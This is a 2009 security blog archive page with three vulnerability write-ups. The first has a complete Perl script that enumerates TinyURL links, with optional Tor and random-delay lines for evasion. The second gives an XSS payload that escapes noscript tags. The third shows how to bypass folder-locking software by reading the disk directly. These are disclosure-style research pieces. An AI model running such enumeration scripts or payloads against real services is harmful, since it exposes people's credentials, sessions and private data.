Archive for February, 2009

Unauthorized TinyURL URL Enumeration Vulnerability

Friday, February 20th, 2009

I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.

There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.

I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.

Some of the things I found include

  1. Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
  2. Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
  3. Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
  4. Spam URLs : This has been discussed many times in different places. Examples here and here.
  5. Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.

Download POF Code here. Use this code at your own risk.

#TinyURL URL Enumeration Script
#By Inferno {at} Securethoughts.com

use IO::Handle;
use LWP::UserAgent;
use Time::HiRes qw( sleep );

my $ua = LWP::UserAgent->new;
$ua->max_redirect(1);

#If you want to use Tor to protect your identity.
#$ua->proxy(['http'], 'http://127.0.0.1:8118/');

my $nd="";      # Length of ID
my $num="";     # Value of ID
my $url="";     # TinyURL Redirection Script Call
my $content=""; # HTTP Response from Redirection
my $temp="";    # Temporary Variable

open FILE, ">>:utf8", "tinyurl.out" or die("Cannot open file for output");
while(1)
{
	# Pick up a random ID length and value
	$nd=int(rand(8))+1;
	$num="";
	for($i=1;$i<=$nd;$i++)
	{
		$s=int(rand(36));
		$num.=($s>9)?chr($s+55):$s;
	}

	$temp="Processing ".$num."\n";
	syswrite(STDOUT, $temp, length($temp));

	# Construct the TinyURL Redirection URL
	$url = 'http://www.tinyurl.com/redirect.php?num='.$num;

	my $request = new HTTP::Request("GET", $url);
	my $response = $ua->request($request);
	$content=$response->as_string;

	# Check if a Location Header is present & write the URL.
	if($content =~ m/(Location\: )(.*)/i)
	{
		$temp=$num." ".$2."\n";
		syswrite(FILE, $temp, length($temp));
	}

	#Use this if you want to hide you tracks with a random delay
	#sleep((int(rand(500))/100.0));
}
close (FILE);
exit 0;
Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Auth(entication/orization), Exploits, Information Gathering, WebAppSec | 1 Comment »

Hacking for XSS inside noscript html tags

Saturday, February 14th, 2009

I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.

For understanding this attack, first lets compose a simple html file with the following contents:

<noscript>
<script>alert('XSS')</script>
</noscript>

Then lets run this file in your browser (Example – noscript.html). You would notice that it won’t execute the javascript to show an alert box. The reason being:

  1. If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards here.
  2. If you don’t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won’t execute as well.

So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using </noscript> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:

"></noscript><script>alert('XSS')</script><!--

I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.

The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site’s name from the various images below.

1. Javascript content inside title tag is escaped.

2. Javascript content inside input tag is escaped.

3. Javascript content inside noscript tag is NOT escaped.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in WebAppSec, XSS | 1 Comment »

Breaking the STEALTH myth of Desktop Locking Softwares

Thursday, February 5th, 2009

In this post, I will be talking about the security vulnerabilities in various desktop locking softwares such as Folder Guard, Lock Folder XP, etc. In fact, I will question their claims, one of which is given on their website as:

“You can even completely hide your private folders from virtually all applications, and such folders would remain invisible until you enter a valid password.”

Is this really true?? No, not at all. Let’s see how. Actually, my friend used one of these softwares and challenged me if I can expose his data without the password used to lock the data. So, I decided to give it a try.

I first downloaded and installed a trial copy of Folder Guard software on my computer. Then I created a folder named “mysecretfiles” inside directory “test” on G: drive. Then, I opened Folder Guard, created a login password and locked this folder. The configuration setting I used for this folder was Access = “No Access” and Visibility = “Hidden”. You should see a similar screenshot after you lock a folder.

I closed Folder Guard and clicked on “Yes” in the “Start Protecting the System” dialog box. This caused Folder Guard to enable protection on my folder. As a result, I didn’t see my locked folder in Windows Explorer.

I tried to understand how these softwares work. Almost all of them placed hooks into the windows device drivers and block access calls to locked files and folders. This model is flawed because an attacker can use the back channel, often referred to as Direct Disk Access Mode.

So, I decided to fire my favorite Disk Editor WinHex and I could easily see and browse my locked folder with ease. I could look inside my locked file “mysensitivedata.txt” and check its contents with my username, password and SSN :) . The other best part of this disk editor is that I don’t need to install it, I could just easily run it from a USB pen stick.

So, the best protection to protect your data is still to use industry standard encryption with algorithms such as AES, 3DES, etc. Even if the data falls in wrong hands, the confidentiality of the data won’t be compromised. Use softwares like TrueCrypt to protect your sensitive data.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , , ,
Posted in Auth(entication/orization), Exploits, Information Gathering, Solutions, Tools | 3 Comments »